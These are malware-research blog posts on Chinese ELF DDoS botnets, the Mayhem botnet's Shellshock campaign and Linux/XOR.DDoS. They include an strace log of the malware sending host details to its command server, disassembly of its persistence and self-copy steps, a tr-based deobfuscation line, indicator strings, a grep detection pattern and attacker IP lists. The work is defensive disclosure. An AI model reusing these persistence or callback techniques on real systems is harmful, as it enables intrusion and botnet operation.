China ELF botnet malware infection & distribution scheme unleashed

The background

There are so many ELF malware infection with the multiple type of backdoors and DDoS'ers originated from China. Our report in here -->[link] shows the known 6 (six) types of those DDoS'ers, From the Linux/Elknot, which is the oldest one, the popular ones, following by the Linux/BillGates which having the encrypted dropped backdoor with packet capture and rootkit functions, then the Linux/AES.DDoS that is aiming for the router & embedded architecture (ARM, MIPS, PPC), and we have Linux/IptabLes|x that is messing with the system's autorun by copying itself to the /boot, we have also the Linux/XOR.DDoS which suggesting the coder likes the CTF-like challange. And the last one is the new invented malware using Go language which is designed to infect ARM device: Linux/GoARM.Bot.

During the raising detection effort of these malware, MalwareMustdie found the two types of these malware which are Linux/GoARM.Bot & Linux/XOR.DDoS, thus we are also the one who invented name for Linux/AES.DDoS.

Except the .IptabLes|x, all of those ELF DDoS'er malware was distributing in web panel, a very handy good software called HTTP File Server, known as HFS. And those ELF backdoor/DDoS'er malware were downloaded to a successfully compromised SSH account of the Linux/FreeBSD and being installed as backdoor to perform DDoS operations. You can see the snapshot and videos of those panels in the link described above.

How bad the situation is?

So far we secured 85 web panels loaded by these ELF malwares and its builder and botnet CNC tools, which were served mainly in China network and under 91 IP addresses in total incidents recorded and those panels only using 76 IP addresses in unique counts. All of them are having similar materials, one linked to another panels in usage and tools, so we strongly think at least a coordinated team or group must be operated behind the scene to support this operation.

The suspicion is getting stronger after several evidence was found that was lead to the same modus operation (hint: Remote Desktop Protocol, HFS server, SSH bruters, IP Scanner tools, Botnet CNC tools), same target IP list and the exact same custom scripts which is distributed between the panels. Furthermore, the growth of these panels is very rapid. We can expect 15 new panels in average will be raised in a week. All loaded with the malicious related tools.

In the last operation we managed to neutralize 29 of these evil panels in overall, and now we are facing 35+ panels up and alive already. These are the pace of speed that this threat is actually performing and it's a steady grow. By this pace we can expect more than 100 panels will be taken down in the end of year, but only God will know how much new panels these crooks will make by then.

The answer: The video that is explaining the modus operation of the threat

But how they really operate? How can they manage to make that rapid speed? What is that same modus operation used? It was a mistery before, but now we just found exactly the answer for this question.
During our "research event", we had a chance to record the activity of the player while he was making a remote tutorial, and as a result the video of the tutorial of China actor's activity can be presented to security community, in this post.

Please see well of how they implement the strategy to make builder of an ELF malware (in this case was Elknot used as sample, practically they have many combination of those builders), to use the HFS server, to systematically scan for network for linux server, how they exploit the servers and infect them in an automation. You can see the many combination tools they are using too. This is a real evidence, caught in the act "manual" made by the crooks themself, they don't know that we actually grabbed this, and I hope this will make them bumping their heads to each others in their China crook's land.

Why the threat is fast growing, and large in volume? The actors behind this threat are actually and literally making tutorials, developing easy-to-use tools, transferring the knowledge via (remote) training. You will see in the video picture gallery presented in this post the tools that they made, the list of well-managed ip addresses produced by that tools & shared in the HFS panels, and most of all: the rapid improvement & development of those tools, malware and exploits they use. This facts, friends, raise a huge dilemma: Will individual crooks doing the stuff to be shared as "group basis" like this threat shows? Where the budget for all of these non-cheap-stuff activity was coming from? Why in the 85 panels that was in scattered in internet at various location has the exact same M.O, CNC/hack tools and scripts? (even they tried to camouflage these tools into various icons..it is just too obvious).
One doesn't have to be a super hacker to conclude that is a ONE unison movement pumping this threat. Some of the evidence are accidentally supporting to this deduction, showing the division/unit information (see the following video and gallery).

Below is the video that can answer much of the above questions, it was a pretty hard effort to compile it and we're not the professional video maker, please kindly bear some glitches.
(This is the hard work of the MalwareMustDie ELF Team, on behalf of the members, I must say: please do not use this material, information, clue or hint related to this case without mention to people who work very hard for this awareness. A mention to MalwareMustDie will be very appreciated)

Gallery of the malware builders and attacker tools used

Below is the important collection of picture snapshot our team took, this picture will explain you more than words of the above conclusion we wrote. Each snapshot was taken from the material secured from HFS panels used to distribute the ELF (and windows too) China malware botnet. Please kindly credit to our members who can not be disclosed their ID by mentioning MalwareMustDie.

Addition: China ELF actors start to use ShellShock

Starting from November 7th 2014 they started to aim for Shellshock vulnerability as new technique to infect:

The malware downloaded are the ELF DDoS'er originated from the panels that we mentioned in this post. And in those panel was captured the script used for this infection, with the signature in Chinese: "Nameless Division For Scanning Internet"

Another PoC that can describe teh generated sequential incoming IP attackers came from China "hacked" segment by the hacking toolsets mentioned in the video of this post

#PoC of our disclosure: http://t.co/DWwzZI2Mxt #China SSH attacker IP list shows their systematically scanned IP:https://t.co/fUcfcquXft

— MalwareMustDie, NPO (@MalwareMustDie) November 22, 2014

Credit: MMD ELF Team: BK (w00t!),WH,WP,SH,YN,(great work!), LVD,AB,AD,RJX,CP (Thank's for always be there!)and many more can not be listed here < Thanks for the great work & superb coordination always.

#MalwareMustDie!

MMD-0029-2014 - Warning of Mayhem shellshock attack

Sticky Note: For the latest incident of Mayhem (via Wordpress login weak password) infection attack, please see these link-->[LINK: 0day.jp/Japanese] and [LINK and LINK: kernelmode/English] and [LINK VirusTotal Comment/English]

We afraid this wave will come during the "shellshock", and it did. The attack wave of "ELF .so malware library", an installer of a known botnet called as "Mayhem" just hit all of us. The attack came from various IP of their botnet into many NIX services, utilizing the shellshock web vulnerability scan method to download the remote installer written in Perl (replacing the previous PHP base infection). It is obviously a new different vector for Mayhem infection, we start calling it as Mayhem Shellshock version of attack.
Thank to @yinettesys (credit: link) for the quick alert & attack vector information, a good work and solid contribution to the community.

The attack

First detection:

2014-10-2 12:51:38 Zulu (UTC)

Payload attack first spotted:

2014-10-5 17:47:16 Zulu (UTC)

Pre-attack Shellshock Scanning PoC:

Payload installation attempt PoC (one-liner Shellshock)

Or as per this pastebin-->[here]

It shows the multiple url to download the Perl installer of Mayhem initial library (the Mayhem installer .so file) from remote host, to be saved in /tmp directory, to be executed after chmod with the 755 permission, under your web server daemon unix user privilege.

Attack grep/detection mitigation method advised:

"expr 1330 + 7"

The scheme:
The first scanner is probing the shellshock vulnerable hosts/network and it has two patterns of shellshock query sent (see the first picture above). The botnet will receive the response of the scanning and sending the infection part of shellshock script (see the second picture above), the one with the wget to download the Perl installer script. The script will be executed in /tmp to execute the ELF .so library and delete it after being executed, so there is no remote file accessed to trigger the infection (unlike the PHP installer version). The .so binaries will be loaded in memory by LD_PRELOAD and stay resident to perform the further botnet operation.

Infection

The url in the one-liner script will lead to the Perl script installer of the Mayhem installer library:

The wget logs is showing that the host is still up and alive by the time this post was written:

The 404.cgi file is the Perl installer of the malware library, the neutralized code can be viewed below:

or in this pastebin-->[here]

This script does the same functionality as previous version in PHP, it is just a Perl version which is having x32 and x64 ELF binary file in hex data to be injected into a file via CGI permission on the targeted UNIX OS and run the libs with LD_PRELOAD using the related library (if needed), FYI: the executable process in this installer also will run with your web server daemon unix privilege.

To get the binary, you will need to use the patched that Perl script to save the binaries written in hex, we scratched one, be free to use, modify or improve this script: (click to copy & paste)

If you run it, you will get the malware library files to be used for the reporting or analysis purpose:

Mayhem installer (ELF DYN ".so" LD_PRELOAD)

Below is the hashes & file type of samples we collected in one incident:

$ md5 *.so
MD5 (sess32.so) = 'd5d4cb6dc0eaace5e31dfd32eaf63ae7'
MD5 (sess64.so) = 'd3d96ec99429ff70ab84f2a8cf21067f'

$ file *.so
sess32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, corrupted section header size
sess64.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, corrupted section header size
$

These samples we uploaded in VT in here--> [-1-] and [-2-]

Generally the ELF malware itself work as per previous version mentioned in our post here [-3-] and Yandex team reported research in here [-4-]. But we are suspecting there are changes in the "scanner/spider module" of Mayhem component that is utilizing Shellshock web query/request to send the detected scanning or infection (this is not being confirmed yet..we are lacking of samples, details will be added/updated) .

In the binary dropped by the Perl installer (pls extract the binary first), or in the malicious .so files spotted in the infected machine, you can see these strings which will help you to recognize it as the malware:

0x067BA     R,%d,%d,%d,%s,%s,
0x067CD     P,%u,%u,%u,%u,%u
0x067DF     "POST %s HTTP/1.0"
0x067F1     Host: %s
0x067FB     "Pragma: 1337" <================
0x06809     Content-Length: %d
0x06834     %s/%s
0x0688F     /dev/null <=== spawn..
0x06899     %s/%c.%d
0x068A5     (null)    <=== spawn
0x068B1     "LD_PRELOAD"  <=== preload
0x068BC     "/usr/bin/uname -a"  <=== grab info

The binary is self- decrypted for analysis/detection protection:

As per previous version too. During the execution the malware will drop the hidden file system contains the botnet ELF component files to be used for the further malicious operation (we will look into this encryption later on), as per below filename/permission/attributes/size details:

"-rw-r--r--  1 mmd mmd 12582912 Oct  7 06:58 .cahed_sess"

The samples are also making callback to the remote server (CNC). In our recorded case, this is the following communication:

CNC DNS query(raw):

uname({sysname="Linux", nodename="MY-", release="UNAME-IZ-", version="MMD-BANGS-YOU-", machine="AGAIN"}) = 0
socket(PF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 4
connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) = 0
poll([{fd=4, events=POLLOUT}], 1, 0) = 1 ([{fd=4, revents=POLLOUT}])
sendto(4, "\3666\1\0\0\1\0\0\0\0\0\0\vdackjaniels\3net\0\0\1\0"..., 33, MSG_NOSIGNAL, NULL, 0) = 33
poll([{fd=4, events=POLLIN}], 1, 5000) = 1 ([{fd=4, revents=POLLIN}])
ioctl(4, FIONREAD, [49])    = 0
recvfrom(4, "\3666\201\200\0\1\0\1\0\0\0\0\vdackjaniels\3net\0\0\1\0"..., 1024, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, [16]) = 49
close(4)                    = 0

CNC sending and receiving communication:

socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
connect(4, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("188.120.246.60")}, 16) = 0
write(4, "POST /mayhem.php HTTP/1.0\r\nHost:"..., 177) = 177
read(4, "HTTP/1.1 200 OK\r\nServer: nginx/1"..., 32768) = 153
read(4, "", 32768)          = 0
close(4)                    = 0

In PCAP capture:

Attack vector report

The host that serves Mayhem Perl script installer is located in France:

IP: 195.154.184.150
Reversed IP: 195-154-184-150.rev.poneytelecom.eu
ASN: 12876
CIDR: 195.154.0.0/16
ISP:BOOKMYNAME.COM | ONLINE S.A.S.
Country: France

↑We will need to clean this ASAP.

In another case the same sample was recorded to be distributed via sendspace.com file share service:

Below is the list of attacker's IP addresses which were reported matched to Mayhem Shellshock attack pattern, thank you to the contributors @yinettesys, @0xAli, @belmonte, @xme

1. Sum up of Mayhem ShellShock scanner and attacker IP source, we compiled as per statistic bellow:
(The data is as per Sat Oct 11 23:52:50 JST 2014, Format: Country, Count)

United States 25 '<=== many attacks come from USA network'
France         4
Turkey         3
Brazil         2
Canada         2
Netherlands    2
United Kingdom 2
Italy          1
Costa Rica     1
Argentina      1
Australia      1
Germany        1
Thailand       1
Kazakhstan     1
Ukraine        1
Poland         1
Indonesia      1
Sweden         1
Vietnam        1
New Zealand    1
Malaysia       1
Austria        1
Japan          1
------------------- +
Total         56 IP  of 23 countries

2. Mayhem Shellshock attackers IP in Geo location details as per Sat Oct 11 23:52:50 JST 2014:
Format: IP Address, City, Region, Country Name

192.169.59.190, Santa Rosa, CA, United States
192.3.138.103, Buffalo, NY, United States
205.186.134.213, Culver City, CA, United States
209.11.159.26, Overland Park, KS, United States
216.121.52.101, San Francisco, CA, United States
54.213.225.160, Seattle, WA, United States
67.214.182.202, South Bend, IN, United States
69.10.33.130, Secaucus, NJ, United States
69.20.200.203, Grand Island, NE, United States
100.42.61.126, Santa Rosa, CA, United States
108.168.131.219, Dallas, TX, United States
162.144.46.158, Provo, UT, United States
166.62.16.106, Scottsdale, AZ, United States
198.167.142.184, Kansas City, MO, United States
209.126.148.164, San Diego, CA, United States
209.200.32.76, Garden City, NY, United States
75.101.129.180, Ashburn, VA, United States
50.193.119.109, Elmhurst, IL, United States
177.87.80.17, Rio De Janeiro, 21, Brazil
187.16.21.42, , , Brazil
91.221.99.35, Amsterdam, 07, Netherlands
95.211.131.148, , , Netherlands
37.187.77.163, , , France
94.23.113.220, , , France
194.27.156.249, Celâl, 84, Turkey
103.253.75.208, , , Thailand
103.244.50.23, , , New Zealand
116.193.76.20, Chanh Hiep, 75, Vietnam
184.107.246.98, Montréal, QC, Canada
190.10.14.37, San José, 08, Costa Rica
200.80.44.160, , , Argentina
202.76.235.110, , , Malaysia
93.74.63.83, Kiev, 12, Ukraine
176.67.167.180, , , United Kingdom
82.165.36.8, , , Germany
82.200.168.83, Astana, 05, Kazakhstan
95.110.178.157, , , Italy
103.7.84.13, Jakarta, 04, Indonesia
89.206.41.50, , , Poland
85.232.60.34, , , United Kingdom
91.130.113.149, , , Austria
110.44.30.204, Spring Hill, 07, Australia
83.168.199.4, Stockholm, , Sweden
184.106.196.169, San Antonio, TX, United States
216.119.149.163, Atlanta, GA, United States
184.106.196.169, San Antonio, TX, United States
67.23.9.241, San Antonio, TX, United States
216.228.104.39, Henderson, NC, United States
82.222.172.99, Istanbul, , Turkey
184.107.144.146, Montréal, QC, Canada
23.251.144.200, Mountain View, CA, United States
212.175.22.22, Istanbul, , Turkey
142.4.11.48, Provo, UT, United States
5.39.49.231, , , France
133.242.202.17, Tokyo, , Japan
94.23.42.182, Roubaix, , France

3. Mayhem Shellshock attacker IP per network details as per Sat Oct 11 23:52:50 JST 2014:
Format: IP Address, Reverse Lookup IP, ASN, CIDR, Prefix, Country Code(2bits), ISP Code, ISP Name

192.169.59.190|emu.arvixe.com.|36351 | 192.169.48.0/20 | SOFTLAYER | US | ARVIXE.COM | ARVIXE LLC
192.3.138.103|host.colocrossing.com.|36352 | 192.3.136.0/21 | AS-COLOCROSSING | US | HUDSONVALLEYHOST.COM | HUDSON VALLEY HOST
205.186.134.213|thewineconsultant.com.|31815 | 205.186.128.0/19 | MEDIATEMPLE | US | MEDIATEMPLE.NET | MEDIA TEMPLE INC.
209.11.159.26|cpanel.webindia.com.|40913 | 209.11.128.0/19 | QTS-SJC-1 | US | SEALCONSULT.COM | IBIS INC.
216.121.52.101|101.52.121.216.reverse.gogrid.com.|26228 | 216.121.0.0/17 | SERVEPATH | US | GOGRID.COM | GOGRID LLC
54.213.225.160|ec2-54-213-225-160.us-west-2.compute.amazonaws.com.|16509 | 54.213.0.0/16 | AMAZON-02 | US | AMAZON.COM | AMAZON.COM INC.
67.214.182.202|202.smart-dns.net.|12260 | 67.214.176.0/20 | COLOSTORE | US | COLOSTORE.COM | COLOSTORE.COM
69.10.33.130||19318 | 69.10.32.0/20 | NJIIX-AS-1 | US | INTERSERVER.NET | INTERSERVER INC
69.20.200.203|webvms.kdsi.net.|32101 | 69.20.200.0/24 | ASN-KLYS | US | KELLYSUPPLY.COM | KELLY SUPPLY COMPANY
100.42.61.126|starfish.arvixe.com.|36351 | 100.42.61.0/24 | SOFTLAYER | US | ARVIXE.COM | ARVIXE LLC
108.168.131.219|s13.nzusatechgroup.com.|36351 | 108.168.128.0/19 | SOFTLAYER | US | SOFTLAYER.COM | SOFTLAYER TECHNOLOGIES INC.
162.144.46.158|server.forkliftmarket.com.au.|46606 | 162.144.0.0/16 | UNIFIEDLAYER-AS-1 | US | UNIFIEDLAYER.COM | UNIFIED LAYER
166.62.16.106|ip-166-62-16-106.ip.secureserver.net.|26496 | 166.62.16.0/22 | AS-26496-GO-DADDY-CO | US | GODADDY.COM | GODADDY.COM LLC
198.167.142.184|spanky.myserverplanet.com.|23033 | 198.167.142.0/24 | WOW | US | MYVIRPUS.COM | DNSSLAVE.COM
209.126.148.164||10439 | 209.126.128.0/17 | CARINET | US | PROENLACE.MX | CARI.NET
209.200.32.76|lazer.webair.com.|27257 | 209.200.32.0/19 | WEBAIR-INTERNET | US | WEBAIR.COM | WEBAIR INTERNET DEVELOPMENT COMPANY INC.
75.101.129.180|ec2-75-101-129-180.compute-1.amazonaws.com.|14618 | 75.101.128.0/17 | AMAZON-AES | US | AMAZON.COM | AMAZON.COM INC.
50.193.119.109|50-193-119-109-static.hfc.comcastbusiness.net.|7922 | 50.128.0.0/9 | COMCAST-7922 | US | COMCASTBUSINESS.NET | PLANET PARTS
177.87.80.17||262652 | 177.87.80.0/22 | R4C | BR | INTELIGNET.COM.BR | R4C SERVICOS DE INFORMATICA LTDA
187.16.21.42|forjastaurus.dominiotemporarioidc.com.|19089 | 187.16.21.0/24 | DH&C | BR | UOL.COM.BR | UNIVERSO ONLINE S.A.
91.221.99.35|h35-91.net.ix-host.ru.|50968 | 91.221.99.0/24 | HOSTMASTER | MD | IX-HOST.RU | HOSTMASTER LTD.
95.211.131.148|LLNH007.local.|16265 | 95.211.0.0/16 | FIBERRING | NL | LEASEWEB.COM | LEASEWEB B.V.
37.187.77.163|ns3366463.ip-37-187-77.eu.|16276 | 37.187.0.0/16 | OVH | FR | OVH.COM | OVH SAS
94.23.113.220||16276 | 94.23.0.0/16 | OVH | FR | OVH.COM | OVH SAS
194.27.156.249||8517 | 194.27.156.0/22 | ULAKNET | TR | - | CELAL BAYAR UNIVERSITESI
103.253.75.208||56309 | 103.253.72.0/22 | SIAMDATA | TH | - | TAN SPIRIT CO. LTD.
103.244.50.23||54113 | 103.244.50.0/24 | FASTLY | US | FASTLY.COM | FASTLY INC
116.193.76.20|sv20.quangtrungdc.name.vn.|24085 | 116.193.76.0/24 | QTSC-AS | VN | - | IP RANGE ALLOCATE FOR QTSC'S INTERNET DATA CENTER
184.107.246.98||32613 | 184.107.0.0/16 | IWEB-AS | CA | IWEB.COM | IWEB TECHNOLOGIES INC.
190.10.14.37|caam-190-10-14-a037.racsa.co.cr.|3790 | 190.10.14.0/24 | RADIOGRAFICA | CR | RACSA.CO.CR | SERVICIO CO-LOCATION RACSA
200.80.44.160|server.cubomagico.tv.|52270 | 200.80.44.0/24 | X | AR | IFXNW.COM.AR | NXNET
202.76.235.110||24218 | 202.76.224.0/20 | GTC-MY-PIP | MY | GLOBALTRANSIT.NET | GTC MY PIP NET
93.74.63.83|pedlarly-tack.volia.net.|25229 | 93.74.0.0/16 | VOLIA | UA | VOLIA.NET | KYIVSKI TELEKOMUNIKATSIYNI MEREZHI LLC
176.67.167.180||13213 | 176.67.160.0/20 | UK2NET | GB | UK2.NET | UK2 - LTD
82.165.36.8|s16296639.onlinehome-server.info.|8560 | 82.165.0.0/16 | ONEANDONE | DE | 1AND1.CO.UK | 1&1 INTERNET AG
82.200.168.83|82.200.168.83.adsl.online.kz.|9198 | 82.200.160.0/20 | KAZTELECOM | KZ | - | ENU
95.110.178.157|alodrink.eu.|31034 | 95.110.160.0/19 | ARUBA | IT | ARUBA.IT | ARUBA S.P.A.
103.7.84.13|web2.jabikha.net.|23950 | 103.7.84.0/24 | GENID-AS | ID | JABIKHA.NET | PT JARINGAN BISNIS KHATULISTIWA
89.206.41.50|host50-89-206-41.limes.com.pl.|29649 | 89.206.0.0/18 | LIMES | PL | LIMES.COM.PL | LIMES S.C.
85.232.60.34|futureis-3.titaninternet.co.uk.|20860 | 85.232.48.0/20 | IOMART | GB | TITANINTERNET.CO.UK | TITAN INTERNET LTD
91.130.113.149|d91-130-113-149.cust.tele2.at.|1257 | 91.128.0.0/14 | TELE2,S | EU | TELE2.AT | TELE2 TELECOMMUNICATION SERVICES GMBH
110.44.30.204|110-44-30-204.host.neural.net.au.|45844 | 110.44.28.0/22 | NEURALNETWORKS-AS | AU | NEURAL.NET.AU | NEURAL NETWORKS DATA SERVERS PTY. LTD.
83.168.199.4|static-83-168-199-4.cust.crystone.se.|35041 | 83.168.199.0/24 | NET-CRYSTONE | SE | CRYSTONE.SE | CRYSTONE AB
184.106.196.169|184-106-196-169.static.cloud-ips.com.|19994 | 184.106.0.0/16 | RACKSPACE | US | RACKSPACE.COM | RACKSPACE HOSTING
216.119.149.163|216.119.149.163.static.midphase.com.|32780 | 216.119.144.0/20 | HOSTINGSERVICES-INC | US | MIDPHASE.COM | HOSTING SERVICES INC.
184.106.196.169|184-106-196-169.static.cloud-ips.com.|19994 | 184.106.0.0/16 | RACKSPACE | US | RACKSPACE.COM | RACKSPACE HOSTING
67.23.9.241|67-23-9-241.static.cloud-ips.com.|33070 | 67.23.0.0/19 | RMH-14 | US | RACKSPACE.COM | RACKSPACE CLOUD SERVERS
216.228.104.39|lamp2.ncol.net.|11426 | 216.228.96.0/20 | SCRR-11426 | US | NCOL.NET | NCOL.NET INC.
82.222.172.99|host-82-222-172-99.reverse.superonline.net.|34984 | 82.222.172.0/24 | TELLCOM | TR | SUPERONLINE.NET | TELLCOM ILETISIM HIZMETLERI A.S.
184.107.144.146||32613 | 184.107.0.0/16 | IWEB-AS | CA | - | POLLOCK NEAL
23.251.144.200|200.144.251.23.bc.googleusercontent.com.|15169 | 23.251.128.0/19 | GOOGLE | US | GOOGLE.COM | GOOGLE INC.
212.175.22.224|linux.zenpozitif.net.|9121 | 212.175.0.0/17 | TTNET | TR | SUNUCU.COM.TR | NETFACTOR
142.4.11.48|142-4-11-48.unifiedlayer.com.|46606 | 142.4.0.0/19 | UNIFIEDLAYER-AS-1 | US | UNIFIEDLAYER.COM | UNIFIED LAYER
5.39.49.231||16276 | 5.39.0.0/17 | OVH | FR | OVH.COM | OVH SAS
133.242.202.17|kokuralab.com.|7684 | 133.242.0.0/16 | SAKURA | JP | SAKURA.AD.JP | SAKURA INTERNET INC.
94.23.42.182|tx.irontec.com.|16276 | 94.23.0.0/16 | OVH | FR | OVH.COM | OVH SAS

With GeoIP graphical view, please click the image below: (thank's to JC for the GIPC!)

Thank you @xme (twitter) for Google mapping all IP sources into more comprehensive detail as per link below↓

@malwaremustdie Mapped on Google Maps: http://t.co/qfTbvpNz5f #Mayhem

— Xavier Mertens (@xme) October 10, 2014

These attacker IPs are the combination between (known) Mayhem bots we monitor and unknown sources (including the suspected possibility of new panels/CNC/bots). We are asking to the related ISP to check your host in details if your IP is listed above. The cleaning up of the botnet nodes will reduce the infection speed, please kindly cooperate.

For the sysadmins and ISP please BLOCK the IP address that listed in this report. It is proven wide-ranged targeted attack is on going from those IP, we checked in countries i.e.: Japan, Australia and Malaysia, below is another snip of different attack coming from listed IP addresses:

Thank's to @0xAli for this additional information

Since some requests came: You may ask us the log of attack for the purpose of cleaning your network from Mayhem botnet, by sending us the comment in the bottom of this post, please leave the email address so we can contact you. The comment will not be posted, feel free to test it beforehand.

More message and additional information

This is the warning, made and will be sent in various CERT contacts as reference. The threat is still not being neutralized yet and is still active (has just been started..is more like it) in infecting us. We are decided to be in hurry to raise this alert for the threat awareness. The material is to be added for updates and new analysis, so please take a look back for updates too.

The samples for the research purpose are shared via kernelmode, access here -->(LINK)

If Mayhem botnet uses shellshock, and this is a very serious threat, please work and cooperate together in good coordination in order to stop the source of the threat.

(reserved)We will add the information in here (/reserved)

You can help to share the source IP of #Mayhem #Shellshock attack pattern: $ grep 'expr 1330 + 7' /var/log/httpd/access_log #MalwareMustDie!

— MalwareMustDie, NPO (@MalwareMustDie) October 9, 2014

We update #Mayhem #shellshock attacker source IP time to time. Attacks come & go fast. Your access log "time" is important for reference.Thx

— MalwareMustDie, NPO (@MalwareMustDie) October 9, 2014

References of previous version infection report of Mayhem
(ELF .so LD_PRELOAD malware)

1. MMD-0020-2014 - Analysis of infection ELF malware: libworker.so -->LINK
2. Video tutorial to dissect ELF .so malware that's using LD_PRELOAD -->LINK
3. MMD-0024-2014 - Recent Incident Report of ELF (LD_PRELOAD) libworker.so -->LINK
4. Repository of Linux/Mayhem threat in KernelMode.info -->LINK
5. Report by Yandex team, via Virus Bulletin -->LINK
6. Report by DamageLab.org -->LINK
7. Report by Artturi Lehtio via F-Secure blog -->LINK

Thank you for help in raising awareness and mention

We thank you for the help received from IT news media friends to raise awareness and the kindly link & mention our research.

1. Virus Bulletin
2. e-Week IT News
3. Threat Post
4. Security Affairs
5. PC World - Web sites, Business Security, Linux
5. Government Info Security
6. Softpedia - Server related security news
7. US Homeland Security - Daily Open Source Infrastructure Report [PDF]
8. Info Security Magazine
9. CERT Hungary Alert (Hungarian)
10. Kaldata (Bulgaria) Security News
11. SecurityLab (Russia)
12. NovostIT (Russia)
13. HagDig
14. IndusFace
15. Akamai Blog: Five Good Security Articles
16. Security Week
18. ITHome (Taiwan)
and many more, Google search keywords: "mayhem shellshock malwaremustdie"

#MalwareMustDie!

MMD-0028-2014 - Linux/XOR.DDoS : Fuzzy reversing a new China ELF

Sticky note: The latest incident (MMD-0033-2015) we disclosed on ELF Linux/XOR.DDoS malware is here -->[LINK]

This research is detected & solved by a hard work of MMD members. Credits are in the bottom of the post.
The case is on and malware infrastructure is mostly up & alive, we don't want to be too details in writing because of that reason, we don't want to teach this crook of what they're lacking of by this post, yet this post necessary to raise awareness of this new emerged threat. Feel free to follow the process at will.

The infection

During the rush of #shellshock we saw another new threat emerged. We saw an attack log of one-liner shell script being injected via ssh connection. By the attack source+CNC IP and the payload, this looks like a China crook's new hack scheme to spread new ELF DDoS'er threat. This is spotted silently spread during the ‪#‎shellshock waves, noted: it was NOT using #shellshock exploit itself.

The details of the attacker's trace in one-liner shell command is as per shown below:

If we beautified it as per below we will see the obfuscation this shell script:

↑the marked mark is the point of all these code, to download the file 3502.rar from some defined host addresses.

The mentioned RAR file itself is actually a shell script too:

You can read the codes here, no free ride copy/paste this time, since we have hard times with those false positives from antiviruses

The main() function is explaining how this script works, read the comments we made (in purple colored words):

Shortly. The blue color explaining the obfuscation strings saved in some variables. The yellow marked color words are functions to be executed, and the red color area is the main function of this script, to download and install a payload.

The obfuscation used is in the enc() and dec() function (see that big pic codes) for encryption and decryption, by using the below code (I picked this one, the one used for decrypting)

tr "[.0-9a-zA-Z\/\/\:]" "[a-zA-Z0-9\;-=+*\/]";

They called it encryption, but is just a mere obfuscator using the character map translation in "tr". Below is the easy shell script I made to decode them:

Below is the result:

We'll see another 3502 file. And a bunch of the CNC used. Noted the username and password they use ;)

If you permutated the URL with the payload name you will some ALIVE malware URLs like these:

What is this thing? In short: It's a sophisticated & well-thought ELF malware infection scheme, aiming Linux in multiple platform. It downloads, detect all parameter need to download the payload or source code of payload. It detected infected host's architecture, compiler. libraries together with sending sensitive information of the host, sent request to CNC to download the certain bins or to download resources to hack and then install the ELF binary.

The POC of this hack is the payload below:

The payload

The header looks very "fine":

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048110

First block:

Various analysis can resulted to the payload was coded in C, hmm..a quality up, we have a challenger here :) A new DDoS'er made in China. Here's the codes (for future reference):

'crtstuff.c'
'autorun.c'
'crc32.c'
'encrypt.c'
'execpacket.c'
'buildnet.c'
'hide.c'
'http.c'
'kill.c'
'main.c'
'proc.c'
'socket.c'
'tcp.c'
'thread.c'
'findip.c'
'dns.c'  

Some pointers for characteristic:

Self copy:

// create file for self-copy
open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400)
open("/boot/[a-z]{10}", O_WRONLY)

//chmod 755
chmod("/boot/[a-z]{10}", 0750)

// start to write..
open("/boot/[a-z]{10}", O_RDONLY)

Auto start:

// install SYS

.text:0x8048B2E   mov     dword ptr [esp], offset aSbinInsmod <== "/sbin/insmod"
.text:0x8048B35   call    LinuxExec_Argv
.text:0x8048B3A   mov     dword ptr [esp], 2
.text:0x8048B41   call    sleep

// xinetd setup..

.text:0x8048852   call    abstract_file_name
.text:0x8048857   mov     [ebp+var_8], eax
.text:0x804885A   mov     eax, [ebp+arg_0]
.text:0x804885D   mov     [esp+0Ch], eax
.text:0x8048861   mov     dword ptr [esp+8], offset aBinShS <== "#!/bin/sh\n%s\n"
.text:0x8048869   mov     dword ptr [esp+4], 400h
.text:0x8048871   lea     eax, [ebp+newpath]
.text:0x8048877   mov     [esp], eax
.text:0x804887A   call    snprintf
   :
.text:0x804887F   mov     eax, [ebp+var_8]
.text:0x8048882   mov     [esp+0Ch], eax
.text:0x8048886   mov     dword ptr [esp+8], offset aEtcInit_dS <== "/etc/init.d/%s"
.text:0x804888E   mov     dword ptr [esp+4], 400h
.text:0x8048896   lea     eax, [ebp+filename]
.text:0x804889C   mov     [esp], eax
.text:0x804889F   call    snprintf
.text:0x80488A4   mov     dword ptr [esp+4], offset aW <== "w"
.text:0x80488AC   lea     eax, [ebp+filename]
.text:0x80488B2   mov     [esp], eax
.text:0x80488B5   call    fopen
   :
.text:0x8048980   mov     dword ptr [esp+8], offset aEtcRcD_dS90S <== "/etc/rc%d.d/S90%s"
.text:0x8048988   mov     dword ptr [esp+4], 400h
.text:0x8048990   lea     eax, [ebp+newpath]
.text:0x8048996   mov     [esp], eax
.text:0x8048999   call    "snprintf"
.text:0x804899E   lea     eax, [ebp+newpath]  // assemble flag component for file attribs
.text:0x80489A4   mov     [esp], eax      <== "filename"
.text:0x80489A7   call    "unlink"
.text:0x80489AC   lea     eax, [ebp+newpath]
.text:0x80489B2   mov     [esp+4], eax    <== "newpath"
.text:0x80489B6   lea     eax, [ebp+filename]
.text:0x80489BC   mov     [esp], eax      <== "oldpath"
.text:0x80489BF   call    "symlink"
.text:0x80489C4   cmp     [ebp+var_C], 0
.text:0x80489C8   jnz     short loc_80489E8
.text:0x80489CA   mov     dword ptr [esp+8], 0AD1473B8h <== "group"
.text:0x80489D2   mov     dword ptr [esp+4], 0AD1473B8h <== "owner"
.text:0x80489DA   lea     eax, [ebp+filename]
.text:0x80489E0   mov     [esp], eax      <== "filename"
.text:0x80489E3   call    "lchown"

Malicious environment setup (i.e. export cmd):

0x06988C   HOME=/
0x069893   HISTFILE=/dev/null
0x0698A6   MYSQL_HISTFILE=/dev/null
0x0698C0   PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

Encryption:

